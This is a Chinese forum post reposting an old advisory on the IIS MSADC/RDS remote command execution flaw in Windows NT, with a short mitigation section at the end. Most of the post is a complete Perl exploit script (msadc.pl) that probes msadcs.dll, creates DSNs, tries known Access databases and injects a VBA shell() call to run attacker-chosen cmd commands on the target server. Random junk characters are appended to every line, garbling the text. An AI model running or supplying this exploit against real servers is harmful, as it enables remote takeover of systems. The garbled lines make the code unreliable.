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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) RKru hF  
3}hJ`xQ  
涉及程序: x)GpNkx:  
Microsoft NT server GP<PU  
CvkZ<i){  
描述: b%A+k"d  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 0K T^V R  
meJ%mY  
详细: Pnl+.?  
如果你没有时间读详细内容的话,就删除: xs?Ska,N  
c:\Program Files\Common Files\System\Msadc\msadcs.dll Qze.1h  
有关的安全问题就没有了。 3&`LVhx  
fD:BKJQ  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 -?%81 z.Qq  
d0U-:S-  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 Tew?e&eO  
关于利用ODBC远程漏洞的描述,请参看: r8%"#<]/  
WtS5i7:<Y  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm X?f\j"v  
\P~ h0zg?  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 \%BII>VS  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp m-u3^\'  
:LrB9Cf$n  
这里不再论述。 F .h A.E  
v=8sj{g3,3  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: tleWJR8oc  
"@ 1+l&  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset FW=`Fm@z%%  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! Nl$b;~ u  
r{mj[N'@  
}+] l_!v*  
#将下面这段保存为txt文件,然后: "perl -x 文件名" X5_T?  
^]n:/kZ5"[  
#!perl H"5=z7w  
#  2-$O$&s.  
# MSADC/RDS 'usage' (aka exploit) script X^o0t^  
# y\?NB:=%  
# by rain.forest.puppy z*,J0)<Q  
# A  r,fmq  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me 'LX]/ D  
# beta test and find errors! b%wm-p  
+Z7:(o<  
use Socket; use Getopt::Std; \0fS;Q^{j  
getopts("e:vd:h:XR", \%args); 15J t @{<r  
}ebu@)r  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; " rVf{  
X:2)C-l?  
if (!defined $args{h} && !defined $args{R}) { BWF>;*Xro  
print qq~ !FA[ ]d4  
Usage: msadc.pl -h <host> { -d <delay> -X -v } -4Hf5!  
-h <host> = host you want to scan (ip or domain) 2QIx~Er  
-d <seconds> = delay between calls, default 1 second Ci9]#)"c  
-X = dump Index Server path table, if available K3dg.>O  
-v = verbose WzhY4"p  
-e = external dictionary file for step 5 rK~Obv  
IeN~ E'~  
Or a -R will resume a command session )=TS)C4  
2I$-&c]  
~; exit;} O= 84ZP%  
}Gf9.ACQ  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; 89Ch'D  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} )dh_eqnX  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} }}b &IA#  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); +wIv|zj9  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} [cso$Tv  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } 6^vz+oN  
~{cG"  
if (!defined $args{R}){ $ret = &has_msadc; >xCc#]v&  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} AFdBf6/" i  
8, " 5z_  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" n?mV(?N  
. "cmd /c "; 9f #6Q*/  
$in=<STDIN>; chomp $in; 4Ai#$SHLm  
$command="cmd /c " . $in ; Lj2Au_5  
zvOSQxGQ  
if (defined $args{R}) {&load; exit;} + 'V ,z  
]@A31P4t|  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; }cO}H2m  
&try_btcustmr; ~0V,B1a  
|%$mN{  
print "\nStep 2: Trying to make our own DSN..."; GUcGu5tw:  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; x5(B(V@b  
AQgagE^  
print "\nStep 3: Trying known DSNs..."; uRnSwJ"hE  
&known_dsn; hZtJ LY  
5: vy_e&  
print "\nStep 4: Trying known .mdbs..."; fI }v}L^  
&known_mdb; i%# <Hi7  
,M0#?j>  
if (defined $args{e}){ Oi4y~C_Xd  
print "\nStep 5: Trying dictionary of DSN names..."; 4l?"zv1  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } ^3lEfI<pBm  
u.ub:  
print "Sorry Charley...maybe next time?\n"; Yq0jw&v  
exit; T:0#se  
QLDld[  
############################################################################## a&C}' e"  
X;QhK] Z  
sub sendraw { # ripped and modded from whisker ->*'Y;t4  
sleep($delay); # it's a DoS on the server! At least on mine... &BE'~G  
my ($pstr)=@_; 4h$W4NJK  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || 7q@>d(xho  
die("Socket problems\n"); XAb-K?)   
if(connect(S,pack "SnA4x8",2,80,$target)){ )^]1j$N=3  
select(S); $|=1; uTvck6  
print $pstr; my @in=<S>; Af XlV-v  
select(STDOUT); close(S); vN$j @h .  
return @in; &uLC{Ik}  
} else { die("Can't connect...\n"); }} Zd <8c^@  
fBZR  
############################################################################## L9^h .Y7  
V[fcP;   
sub make_header { # make the HTTP request ]#P>wW  
my $msadc=<<EOT Q|Go7MQZ@k  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 <~iA{sY)O  
User-Agent: ACTIVEDATA =x-@-\m  
Host: $ip 50HRgoP5Y  
Content-Length: $clen J`[He$7)  
Connection: Keep-Alive I3" GGp3L  
tish%Qnpd  
ADCClientVersion:01.06 |P`:NAf2  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 :M9 E  
,+o*>fD  
--!ADM!ROX!YOUR!WORLD! TW!>~|U)y  
Content-Type: application/x-varg %Kc2n9W  
Content-Length: $reqlen {i|$^A3  
b$/ 'dnx  
EOT hM~zO1XW  
; $msadc=~s/\n/\r\n/g; gQlL0jAV  
return $msadc;} 0k 6S`e9gI  
>?)Df(n(9  
############################################################################## jCxg)D7W  
R^=[D#*]>  
sub make_req { # make the RDS request uBA84r%{QQ  
my ($switch, $p1, $p2)=@_; f+>g_Q  
my $req=""; my $t1, $t2, $query, $dsn; Uv%?z0F<C  
3!2TE-  
if ($switch==1){ # this is the btcustmr.mdb query xAJuIR1Hi  
$query="Select * from Customers where City=" . make_shell(); E;Q ,{{#  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . b&xlT+GN  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} D9-D%R,  
D/TEx2.=J3  
elsif ($switch==2){ # this is general make table query G;yh$n<"  
$query="create table AZZ (B int, C varchar(10))"; +5oK91o[y  
$dsn="$p1";} bqSp4TI  
xZ(f_Oy  
elsif ($switch==3){ # this is general exploit table query &C6Z{.3V  
$query="select * from AZZ where C=" . make_shell(); \zv?r :1t  
$dsn="$p1";} d!#qBn$*[  
Gb_y"rx?0  
elsif ($switch==4){ # attempt to hork file info from index server m+'vrxTY  
$query="select path from scope()"; !)+8:8H'  
$dsn="Provider=MSIDXS;";} 6rg?0\A<  
KQ2jeJ/pj  
elsif ($switch==5){ # bad query '.1_anE]  
$query="select"; ~"8)9&  
$dsn="$p1";} A-5'OI  
* v W#XDx  
$t1= make_unicode($query); yp\s Jc`  
$t2= make_unicode($dsn); Y/Q/4+  
$req = "\x02\x00\x03\x00"; uBqZ62{G  
$req.= "\x08\x00" . pack ("S1", length($t1)); VtzX I2.2  
$req.= "\x00\x00" . $t1 ; !/wR[`s9w  
$req.= "\x08\x00" . pack ("S1", length($t2)); E'wJ+X9 +  
$req.= "\x00\x00" . $t2 ; :y8wv|m  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; =6^phZ(  
return $req;} 3e7P w`gLl  
fLR\@f  
############################################################################## iz5WWn^  
tC4 7P[b  
sub make_shell { # this makes the shell() statement C">w3#M%  
return "'|shell(\"$command\")|'";} a[A9(Ftn  
EH~XN9b  
############################################################################## -9> oB  
CH4 ~9mmE  
sub make_unicode { # quick little function to convert to unicode Y!nxHRE  
my ($in)=@_; my $out; ! C|VX,w  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } gy6Pf4Yo  
return $out;} t-3y`31i.  
 k.("<)  
############################################################################## *9I/h~I  
fsH =2p  
sub rdo_success { # checks for RDO return success (this is kludge) z-;2)RkV2  
my (@in) = @_; my $base=content_start(@in); kCVA~ %d7  
if($in[$base]=~/multipart\/mixed/){ <yz&> +9,  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} jk-e/C  
return 0;} CF_pIfbaf  
ncCgc5uP  
############################################################################## OjRJyhzS*  
Fg<rz&MR  
sub make_dsn { # this makes a DSN for us UqEpeLK  
my @drives=("c","d","e","f"); :qL1jnR^  
print "\nMaking DSN: "; _pe_w{V-b6  
foreach $drive (@drives) { +*vg) F:  
print "$drive: "; XLxr@1   
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . xv:VW<  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" V detY\  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); 0Z<&M|G  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; y8|?J\eRy  
return 0 if $2 eq "404"; # not found/doesn't exist KOHYeiry~A  
if($2 eq "200") { U f <hzP  
foreach $line (@results) { {B,r  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} ]v,>!~8r  
} return 0;} }vspjplk^  
%jnSJjcq  
############################################################################## csNB  \  
[K4wd%+  
sub verify_exists { afNqK~  
my ($page)=@_; L] ce13K  
my @results=sendraw("GET $page HTTP/1.0\n\n"); w\QMA3  
return $results[0];} y1@*)| r  
Vp~c$y+  
############################################################################## OPP^n-iPr  
$bd2TVNV:  
sub try_btcustmr { [/iT D=O,  
my @drives=("c","d","e","f"); P}RewMJ$L  
my @dirs=("winnt","winnt35","winnt351","win","windows"); @.SuHd  
1w/Ur'8we  
foreach $dir (@dirs) { ne (zGJd  
print "$dir -> "; # fun status so you can see progress hEv}g  
foreach $drive (@drives) { D<:J6W7]  
print "$drive: "; # ditto AQ` `Dp  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; jDwLzvM O  
$reqlenlen=length( "$reqlen" ); 3HI- G.]hC  
$clen= 206 + $reqlenlen + $reqlen; 32KL~32Y  
UoSzxL  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); i9 Tq h  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} W`2Xn?g  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} Y&JK*d  
V.U9Q{y"  
############################################################################## rjLPX  
;%_s4  
sub odbc_error { F:B 8J4/  
my (@in)=@_; my $base; P/hV{@x  
my $base = content_start(@in); @fz!]/  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this qPI1\!z6  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; h.ln%6:d  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; [;n/|/m,  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; r(Vz(  
return $in[$base+4].$in[$base+5].$in[$base+6];} (yB)rBh>n  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; xG|T_|?  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . _I1:|y  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} A;\1`_i0  
quGv q"Y>  
############################################################################## ~R!M.gY[rK  
SWpvbs.'so  
sub verbose { ]#*S.  r]  
my ($in)=@_; 2\/,X CQV  
return if !$verbose;  5gZ6H/.  
print STDOUT "\n$in\n";} ]:X# w0UR  
Tb@r@j:V  
############################################################################## IqW4Q1>f  
Jv+N/+M47  
sub save { yy*8Aw}  
my ($p1, $p2, $p3, $p4)=@_; 1O{(9nNj  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; xS>d$)rIj  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; 2uln)]  
close OUT;} 7yM"G$  
|2t1m 6\j  
############################################################################## D{)K00mm  
X{YY)}^  
sub load { , A@uSfC(  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; o6 l CP&  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); fC7rs5  
@p=<IN>; close(IN); $t{;- DpNB  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); :fx^{N!T  
$target= inet_aton($ip) || die("inet_aton problems"); 7}r6mr0vpm  
print "Resuming to $ip ..."; 8uq`^l%KkZ  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; W7PL]5y&  
if($p[1]==1) { =}1)/gcM  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; }#Gq*^w  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; EpsjaOmAF  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); ,^K}_z\9f  
if (rdo_success(@results)){print "Success!\n";} "AcC\iq  
else { print "failed\n"; verbose(odbc_error(@results));}} suF<VJ)&s  
elsif ($p[1]==3){ ](2\w9i%  
if(run_query("$p[3]")){ L)qDtXd4  
print "Success!\n";} else { print "failed\n"; }} $]`rWSYtv`  
elsif ($p[1]==4){ R|u2ga ~  
if(run_query($drvst . "$p[3]")){ c`E0sgp  
print "Success!\n"; } else { print "failed\n"; }} YQ7\99tj  
exit;} P]mJ01@'  
TEN~3 Ef#  
############################################################################## }gR!]Cs)^  
618k-  
sub create_table { , R;k>'.  
my ($in)=@_; :Q-QY)hH  
$reqlen=length( make_req(2,$in,"") ) - 28; =Sp+$:q*  
$reqlenlen=length( "$reqlen" ); FBP'AL|  
$clen= 206 + $reqlenlen + $reqlen; t3(~aH  
my @results=sendraw(make_header() . make_req(2,$in,"")); JLn)U4>z w  
return 1 if rdo_success(@results); BV-(`#~:y  
my $temp= odbc_error(@results); verbose($temp); V=cJdF  
return 1 if $temp=~/Table 'AZZ' already exists/; s'4%ZE2Dr  
return 0;} Zk:_Yiki&  
qvs&*lBY  
############################################################################## >f*-9  
"pInb5F  
sub known_dsn { lh`ZEvt  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go nQaryL  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", ZR8%h<  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", h7a/]~  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); WZ6'"Cz`  
5 !Ho[  
foreach $dSn (@dsns) { pAtt=R,Ht  
print "."; !(8) '<t9  
next if (!is_access("DSN=$dSn")); IDK~ (t  
if(create_table("DSN=$dSn")){ #Y%(CI  
print "$dSn successful\n"; $No^\.mV  
if(run_query("DSN=$dSn")){ _fM=J+  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { f>zd,|)At  
print "Something's borked. Use verbose next time\n";}}} print "\n";} UY}EW`$#m  
\TS.9 >\  
############################################################################## /)*si  
0 H0U%x8  
sub is_access { i*jnC>  
my ($in)=@_; '(fzznRH  
$reqlen=length( make_req(5,$in,"") ) - 28; "%rzL.</  
$reqlenlen=length( "$reqlen" ); w/, A@fLL  
$clen= 206 + $reqlenlen + $reqlen; 8I]rC<O6:  
my @results=sendraw(make_header() . make_req(5,$in,"")); VoC|z Rd_  
my $temp= odbc_error(@results); 6c[Slq!KA  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); ZU68\cL  
return 0;} Q79WGW  
8JojKH  
############################################################################## 9l<}`/@}W  
}Dx5W9Ri"  
sub run_query { fJK;[*&Y  
my ($in)=@_; #9rCF 3P  
$reqlen=length( make_req(3,$in,"") ) - 28; #B6$ r/%  
$reqlenlen=length( "$reqlen" ); +#Ga} e CM  
$clen= 206 + $reqlenlen + $reqlen; KSve_CBOh  
my @results=sendraw(make_header() . make_req(3,$in,"")); ufB9\yl{~  
return 1 if rdo_success(@results); 2UeK%-~W?  
my $temp= odbc_error(@results); verbose($temp); = J0r,dR  
return 0;} 2= )V"lR\  
J 7HOSFwXn  
############################################################################## 95.s,'0  
eHc.#OA&  
sub known_mdb { <~hx ~"c  
my @drives=("c","d","e","f","g"); 3U9leY'2N  
my @dirs=("winnt","winnt35","winnt351","win","windows"); L~!Lq4]V\g  
my $dir, $drive, $mdb; 0 } |21YED  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; (YY!e2  
Zjn![  
# this is sparse, because I don't know of many (vPE?^}b  
my @sysmdbs=( "\\catroot\\icatalog.mdb", z0 J:"M  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", FvyC$vip  
"\\system32\\certmdb.mdb", 'NN3XyD  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% xzb{g,c   
T!1Np'12zF  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", c?}{>ig/)  
"\\cfusion\\cfapps\\forums\\forums_.mdb", i;<K)5Z  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", 1Gw_S?$7  
"\\cfusion\\cfapps\\security\\realm_.mdb", G7k.YtW  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", bW2Msv/H  
"\\cfusion\\database\\cfexamples.mdb", ]T>|Y0|  
"\\cfusion\\database\\cfsnippets.mdb", c|F26$rv  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", { 4B7a6  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", ')Qb,#/,%  
"\\cfusion\\brighttiger\\database\\cleam.mdb", 7,3 g{8  
"\\cfusion\\database\\smpolicy.mdb", e/Y& d9` I  
"\\cfusion\\database\cypress.mdb", F$HL \y  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", (G 9Ku 8Y  
"\\website\\cgi-win\\dbsample.mdb", yPk s,7U  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", 1>)uI@?Rb  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" Q(BM0n)f  
); #these are just $%z M Z  
foreach $drive (@drives) { BWLeitS/  
foreach $dir (@dirs){ 7!A3PDAe  
foreach $mdb (@sysmdbs) { 6)1xjE#  
print "."; .#_g.0<  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ uz@lz +  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; 4`p[t;q  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ s@K #M  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; oRHWb_$"  
} else { print "Something's borked. Use verbose next time\n"; }}}}} cHUj6'neO  
Tl S 904'  
foreach $drive (@drives) { N#8$pE  
foreach $mdb (@mdbs) { +K61-Div  
print "."; 7,ffY/  
if(create_table($drv . $drive . $dir . $mdb)){ *]e 9/f  
print "\n" . $drive . $dir . $mdb . " successful\n"; `r+`vJ$  
if(run_query($drv . $drive . $dir . $mdb)){ TB#oauJm,  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; p;rT#R&6>  
} else { print "Something's borked. Use verbose next time\n"; }}}} EoOwu-{  
} ;|.IUXEgcF  
V&>mD"~MP  
############################################################################## "FXT8Qxg  
'_%`0p1  
sub hork_idx { =%0r_#F%=  
print "\nAttempting to dump Index Server tables...\n"; 3M[5_OK   
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; rlSflcK\\(  
$reqlen=length( make_req(4,"","") ) - 28; |c:xK{Ik  
$reqlenlen=length( "$reqlen" ); N=;VS-  
$clen= 206 + $reqlenlen + $reqlen; N  Bpf  
my @results=sendraw2(make_header() . make_req(4,"","")); $jN,] N~  
if (rdo_success(@results)){ F17nWvF  
my $max=@results; my $c; my %d; =Cp}iM  
for($c=19; $c<$max; $c++){ F2Co Xe7  
$results[$c]=~s/\x00//g; NplkhgSj  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; W_ubgCB  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; 7_]Bu<{f  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; ?&"!,  
$d{"$1$2"}="";} (\ Gs7  
foreach $c (keys %d){ print "$c\n"; } ^vr`t9EE  
} else {print "Index server doesn't seem to be installed.\n"; }} > 72qi*0  
N}7tjk   
############################################################################## 22"/|S  
u|8yV.=R  
sub dsn_dict { S@vLh=65  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); BCw0kq@  
while(<IN>){ <'<{|$Pw  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; y0cB@pWp  
next if (!is_access("DSN=$dSn")); -\~D6OA  
if(create_table("DSN=$dSn")){ oWdvpvO  
print "$dSn successful\n"; zP#%ya :I  
if(run_query("DSN=$dSn")){ 1}jwv_0lL  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { &g5+ |g (  
print "Something's borked. Use verbose next time\n";}}} y%xn(Bn  
print "\n"; close(IN);} dS"%( ?o  
P[a\Q`}L  
############################################################################## {9YNv<3  
}~$96|J  
sub sendraw2 { # ripped and modded from whisker N TL`9b  
sleep($delay); # it's a DoS on the server! At least on mine... (ZHEPN  
my ($pstr)=@_; i>L>3]SRr{  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || VD-2{em  
die("Socket problems\n"); ($Y6hn+  
if(connect(S,pack "SnA4x8",2,80,$target)){ a%)-iL X8&  
print "Connected. Getting data"; Dv[ 35[Yh  
open(OUT,">raw.out"); my @in; t"]~e"  
select(S); $|=1; print $pstr; %2TjG  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} U#1 ,]a\  
close(OUT); select(STDOUT); close(S); return @in; f iu?mb=*  
} else { die("Can't connect...\n"); }} 'U3+'du^8  
w65D;9/;  
############################################################################## 3*$)9'  
i;8tA !  
sub content_start { # this will take in the server headers )gP0+W!u  
my (@in)=@_; my $c; Z}4 `y"By  
for ($c=1;$c<500;$c++) { 4O** %!|  
if($in[$c] =~/^\x0d\x0a/){ [G[|auKF  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } XhxCOpO  
else { return $c+1; }}} ay,E!G&H  
return -1;} # it should never get here actually s7}46\/U  
-P|st;?#  
############################################################################## 6zJfsKf$  
-VlXZj@u+  
sub funky { isR|K9qf^  
my (@in)=@_; my $error=odbc_error(@in); '{xPdN  
if($error=~/ADO could not find the specified provider/){ #iAEcC0k5  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; Wf>scl `s  
exit;} h$~ \to$C  
if($error=~/A Handler is required/){ ?\NWKp  
print "\nServer has custom handler filters (they most likely are patched)\n"; #Jqa_$\.  
exit;} Q`7.-di  
if($error=~/specified Handler has denied Access/){ ?O<D&CvB  
print "\nServer has custom handler filters (they most likely are patched)\n"; cN\Fgbt  
exit;}} {expx<+4F  
QSq0{  
############################################################################## Z/hgr|&}  
\,5OPSB  
sub has_msadc { { |[n>k   
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); aZ{]t:]  
my $base=content_start(@results); k(.6K[ b  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); dCkk5&2n  
return 0;} PhOtSml0  
2[qlEtvQ  
########################  +*aZ9g  
d~U}IMj  
x[5uz))  
解决方案: yq2pg8%  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll I>(\B|\6  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 P 4|p[V8  
kg^VzNX  
拿出来充数 哈哈
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